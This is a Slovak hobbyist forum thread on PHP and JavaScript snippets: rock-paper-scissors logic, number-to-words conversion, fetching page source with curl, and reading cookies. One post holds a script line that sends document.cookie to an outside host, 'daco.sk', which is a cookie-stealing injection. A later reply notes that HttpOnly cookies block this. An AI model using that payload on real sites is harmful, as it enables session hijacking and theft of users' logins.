PHP Scripty

Programovacie jazyky, rady, poradňa...
chrono
VIP
VIP
Používateľov profilový obrázok
Príspevky: 7127
Registrovaný: 25 dec 2006, 15:17

Príspevok od používateľa chrono »

Prečo? Je úplne jedno, či vygenerujem čo vybral počítač a vypočítam výsledok, alebo vygenerujem výsledok a vypočítam, čo musel vybrať počítač. Hru to nijako neovplyvní.

PS: A ak to podľa teba nie je jedno, tak napíš, prečo si to myslíš. ;)
audiotrack
VIP
VIP
Používateľov profilový obrázok
Príspevky: 25958
Registrovaný: 09 sep 2005, 18:39
Kontaktovať používateľa:

Príspevok od používateľa audiotrack »

si smiešny. Veď výsledok hry závisý od jednej náhodnej veličiny (čo si "vybere" počítač) tak teda aj výsledok sám je úplne náhodný. Hru to nijak neovplyvní, a ak si myslíš že program musí pracovať tak ako si to užívateľ predstavuje, tak je to smiešne. Doležité je aby dosahoval očakávané výsledky a nie aby bol sprostý ako človek a nech sa k tým výsledkom dopracúva ťažkopádne v krokoch ktoré netreba.
Shakal
Light Star
Light Star
Používateľov profilový obrázok
Príspevky: 206
Registrovaný: 31 jan 2006, 18:54

Príspevok od používateľa Shakal »

chrono napísal:PS: A ak to podľa teba nie je jedno, tak napíš, prečo si to myslíš. ;)
Zachadzame do filozofickych rovin a oddialujeme sa od povodneho topicu.
Ale ked uz robim nejaky program - tak jedine tak aby splnil potrebne minimum a bol pre uzivatela maximalne pouzitelny.

V pripade hry - Kamen, Papier, Noznice - spravim program, ktory bude naozaj rollovat medzi tymto troma vecami, po rolle vypise co si vybral, vypise co som si vybral ja a vypise vysledok.

Programatorova potreba si veci uzasne zjednodusovat tu nema prioritu ak by tym mal utrpet samotny vysledok. A pri tom vasom "checku" by to utrpelo uz minimalne v tom, ze program by nevypisoval na zaklade COHO vlastne vyhral.

Snad chapete co chcem povedat.

Programator robi program pre pouzivatelov. Nie preto aby si dokazal ako v jednom riadku dokaze poriesit neviem ake algoritmy. Mate pravdu v tom, ze medzi povodnym kodom a tym vasim - novym nie je skoro ziaden rozdiel. Ale program prichadza o schopnost vypisat - co si vlastne vybral.

ta nehajme tuto debatu tak a napiste radsej ako by ste program zjednodusili bez toho ze mu useknete z nejakej "funkcionality".
8)
audiotrack
VIP
VIP
Používateľov profilový obrázok
Príspevky: 25958
Registrovaný: 09 sep 2005, 18:39
Kontaktovať používateľa:

Príspevok od používateľa audiotrack »

Shakal napísal:Zachadzame do filozofickych rovin a oddialujeme sa od povodneho topicu.
Ale ked uz robim nejaky program - tak jedine tak aby splnil potrebne minimum a bol pre uzivatela maximalne pouzitelny.
použitelné to bude, dostaneš oznámené či si vyhral/prehral/remízoval, oznámi ti čo si vybral on, dokonca šance vyrhať/prehrať/remízovať sú rovnaké
Shakal napísal:V pripade hry - Kamen, Papier, Noznice - spravim program, ktory bude naozaj rollovat medzi tymto troma vecami, po rolle vypise co si vybral, vypise co som si vybral ja a vypise vysledok.
to všetko predsa vypisuje aj teraz
Shakal napísal:Programatorova potreba si veci uzasne zjednodusovat tu nema prioritu ak by tym mal utrpet samotny vysledok. A pri tom vasom "checku" by to utrpelo uz minimalne v tom, ze program by nevypisoval na zaklade COHO vlastne vyhral.
to bola ukážka lebo nechápal, bolo jasne napísané že si tam ešte dorobí aby vypísalo ťah na základe toho aký bol výsledok a čo som dal ja
Shakal napísal: Snad chapete co chcem povedat.

Programator robi program pre pouzivatelov. Nie preto aby si dokazal ako v jednom riadku dokaze poriesit neviem ake algoritmy. Mate pravdu v tom, ze medzi povodnym kodom a tym vasim - novym nie je skoro ziaden rozdiel. Ale program prichadza o schopnost vypisat - co si vlastne vybral.

ta nehajme tuto debatu tak a napiste radsej ako by ste program zjednodusili bez toho ze mu useknete z nejakej "funkcionality".
8)
ano, robí ho pre užívatela, ale práve preto že užívatel nevie programovať tak mu do toho nemá čo kecať ako to má byť spravené. Vo výsledku nezbadá žiaden rozdiel
Blackshadow
Light Expert
Light Expert
Príspevky: 56
Registrovaný: 02 okt 2006, 19:05
Bydlisko: Nove Zamky
Kontaktovať používateľa:

Príspevok od používateľa Blackshadow »

zaujimavejsie to bude, ked si zvolite, ze napr, ked date
kamen - mate 60% sancu na vyhru
papier - 30% sancu na vyhru
noznice - 50% sancu na vyhru...

a podla toho generovat vysledok.. ale naco?

Inac, ked sme uz pri tom, rovno dajme:

Kód: Vybrať všetko

$score = 0;
for($i=0;$i<=50;$i++) {
  $a = mt_rand(-1,1);
  $score = $score + $a;
}
echo 'Tvoje score je: '.$score;
Vysledok vlasatne ten isty, akurat netreba klikat na tlacitko :D
beluský
Darca
Darca
Používateľov profilový obrázok
Príspevky: 317
Registrovaný: 21 sep 2006, 13:46

Príspevok od používateľa beluský »

Blackshadow napísal:zaujimavejsie to bude, ked si zvolite, ze napr, ked date
kamen - mate 60% sancu na vyhru
papier - 30% sancu na vyhru
noznice - 50% sancu na vyhru...

a podla toho generovat vysledok.. ale naco?

Inac, ked sme uz pri tom, rovno dajme:

Kód: Vybrať všetko

$score = 0;
for($i=0;$i<=50;$i++) {
  $a = mt_rand(-1,1);
  $score = $score + $a;
}
echo 'Tvoje score je: '.$score;
Vysledok vlasatne ten isty, akurat netreba klikat na tlacitko :D
nestraca to vtedy tak trocha zmysel hry?
Blackshadow
Light Expert
Light Expert
Príspevky: 56
Registrovaný: 02 okt 2006, 19:05
Bydlisko: Nove Zamky
Kontaktovať používateľa:

Príspevok od používateľa Blackshadow »

neni to jedno ?? aj tie scripty predtym len generuju vyhru alebo prehru.. takze je to jedno nie?? len mi to ulahci hru, ze nemusim tukat na tlacitko :lol:
ef.K0
Light Professional
Light Professional
Používateľov profilový obrázok
Príspevky: 811
Registrovaný: 18 jan 2005, 20:53
Bydlisko: DT

Príspevok od používateľa ef.K0 »

Prezrel som si cely topic tento, a nenatrafil som na vec ktoru hladam. Hladam skript ktory vstupne cislo prepise slovami v slovenskom alebo anglickom jazyku.

Nieco som uz spravil, kus som upravil "DomCZo"ov script, ale nerobi mi to co ma. Transformuje mi cisla len od 1-9.

<?php


function Cislo_na_slovo($cislo)
{
$cisla_slovom = array("Jeden", "Dva", "Tri", "Styri", "Pat", "Sest", "Sedem", "Osem", "Devat", "Desat", "Jedenast", "Dvanast", "Trinast", "Strnast", "Patnast", "Sestast", "Sedemnast", "Osemnast", "Devatnast", "Dvadsat", "Dvadsatjeden", "Dvadsatdva", "Dvadsatri", "Dvadsatstyri");
return $cisla_slovom[$cislo-1];
}

$nejake_cislo = "23";
$vystupne_cislo = Cislo_na_slovo($nejake_cislo);

echo "Vstup: $nejake_cislo<br>\r\n";
echo "Výstup: $vystupne_cislo<br>\r\n";


?>


Samozrejme je aj iny sposob zrealizovania tejto ulohy, rad privitam nove napady :) Dakujem vopred za pomoc.
chrono
VIP
VIP
Používateľov profilový obrázok
Príspevky: 7127
Registrovaný: 25 dec 2006, 15:17

Príspevok od používateľa chrono »

Sem by si skôr mal dávať hotové skripty. Inak ak si spomínam, tak audiotrack do inej témy písal niečo podobné, akurát pre Pascal (takže sa tam môžeš inšpirovať).

//edit by audiotrack: tu
Luk1
Light Expert
Light Expert
Príspevky: 55
Registrovaný: 13 dec 2008, 15:35
Kontaktovať používateľa:

Príspevok od používateľa Luk1 »

caute neviete mi poradit ako spravim scritp ktory mi nacita zdrojovy kod hocijakej stranky (myslim len html) cize napriklad by sa mi zobrazil na stranke kod www.google.sk (tak ako keby som klikol pravym a dal si zobrazit zdrojovy kod) dik
Blackshadow
Light Expert
Light Expert
Príspevky: 56
Registrovaný: 02 okt 2006, 19:05
Bydlisko: Nove Zamky
Kontaktovať používateľa:

Príspevok od používateľa Blackshadow »

Luk1
Light Expert
Light Expert
Príspevky: 55
Registrovaný: 13 dec 2008, 15:35
Kontaktovať používateľa:

Príspevok od používateľa Luk1 »

vypisuje mi to Unable to access stranka... cize to nepojde
Blackshadow
Light Expert
Light Expert
Príspevky: 56
Registrovaný: 02 okt 2006, 19:05
Bydlisko: Nove Zamky
Kontaktovať používateľa:

Príspevok od používateľa Blackshadow »

Noo, zaujimave, tak skus toto:

Kód: Vybrať všetko

function ziskajKod($URL)
    {
        $c = curl_init();
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($c, CURLOPT_URL, $URL);
        $contents = curl_exec($c);
        curl_close($c);

        if ($contents) return $contents;
            else return FALSE;
    }
ale asi len na PHP5 ti to pojde
Luk1
Light Expert
Light Expert
Príspevky: 55
Registrovaný: 13 dec 2008, 15:35
Kontaktovať používateľa:

Príspevok od používateľa Luk1 »

caute chcel by som sa spytat ako si mozem vypisat hodnoty vsetkych cookies co mam v pc z firefoxu som skusal nieco take, ze poznam nazov toho cookie ale nejak to neslo

<?php
echo $HTTP_COOKIE_VARS["meno_u"];
?>
nevypise mi to nic aj ked kluc s takym nazvom existuje, neviete mi pomoct niekto ?
audiotrack
VIP
VIP
Používateľov profilový obrázok
Príspevky: 25958
Registrovaný: 09 sep 2005, 18:39
Kontaktovať používateľa:

Príspevok od používateľa audiotrack »

Kód: Vybrať všetko

foreach($_COOKIE as $cookie=>$value) echo $cookie . " = " . $value . "<br />";
Luk1
Light Expert
Light Expert
Príspevky: 55
Registrovaný: 13 dec 2008, 15:35
Kontaktovať používateľa:

Príspevok od používateľa Luk1 »

aha, ale tak ze by mi vypisalo cookies zo vsetkych serverov nie len z toho na ktorom bezi ten skript sa asi neda...
chrono
VIP
VIP
Používateľov profilový obrázok
Príspevky: 7127
Registrovaný: 25 dec 2006, 15:17

Príspevok od používateľa chrono »

Server o tých cookies z iných serverov nič nevie (keďže prehliadač ich pošle len tam, kam ich poslať má).
Luk1
Light Expert
Light Expert
Príspevky: 55
Registrovaný: 13 dec 2008, 15:35
Kontaktovať používateľa:

Príspevok od používateľa Luk1 »

a este by som sa chcel vediet ci je omzne pomocou javascriptu nejak vyberat jednotlybe polozky cookies nieco ako document.cookies len by som si ja urcil so chcem vybrat, preto ze som skusal jeden script na mojej stranke a to tak ze som mal na stranke

Kód: Vybrať všetko

<script>location.href ="http://daco.sk?c="+document.cookie</script>
a na tej starnke sa mi ulozia do c polozky cookies len nejak mi to nefunguje...
audiotrack
VIP
VIP
Používateľov profilový obrázok
Príspevky: 25958
Registrovaný: 09 sep 2005, 18:39
Kontaktovať používateľa:

Príspevok od používateľa audiotrack »

už som to sem dával asi 10 krát:

Kód: Vybrať všetko

function getCookie(c_name)
{
if (document.cookie.length>0)
  {
  c_start=document.cookie.indexOf(c_name + "=");
  if (c_start!=-1)
    { 
    c_start=c_start + c_name.length+1; 
    c_end=document.cookie.indexOf(";",c_start);
    if (c_end==-1) c_end=document.cookie.length;
    return unescape(document.cookie.substring(c_start,c_end));
    } 
  }
return "";
}
chrono
VIP
VIP
Používateľov profilový obrázok
Príspevky: 7127
Registrovaný: 25 dec 2006, 15:17

Príspevok od používateľa chrono »

Pri cookies sa dá nastaviť, aby sa nedali použiť cez javascript (je na to príznak HttpOnly), takže také cookie v normálnom prehliadači pomocou javascriptu nezískaš.
Napísať odpoveď